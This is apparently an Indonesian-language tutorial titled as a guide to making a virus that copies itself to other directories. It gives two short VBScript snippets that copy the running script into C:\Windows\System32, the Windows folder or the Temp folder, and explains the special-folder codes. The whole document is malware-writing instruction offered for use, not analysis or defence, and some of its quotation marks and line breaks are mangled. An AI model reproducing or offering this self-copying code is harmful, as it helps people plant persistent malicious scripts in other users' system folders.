Membuat Virus yang Dapat Mengopykan Diri Ke Derektory Lain

Masuk Notepad kemudian tulis script di bawah ini :

CreateObject(”Scripting.FileSystemObject”).
GetFile(WScript.ScriptFullName).Copy “c:\windows\system32\virus.vbs”

Simpan script tersebut dalam bentuk file.vbs, misal : virus.vbs

Ada juga cara lain dengan script seperti ini:

On Error Resume Nextcreateobject(”scripting.filesystemobject”).copyfile wscript.scriptfullname,createobject(”scripting.filesystemobject”).getspecialfolder(1) & “\virus.vbs”

Simpan script tersebut dalam bentuk file.vbs, misal : virus.vbs

.getspecialfolder(0) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory Windows
.getspecialfolder(1) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory System32
.getspecialfolder(2) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory Temporary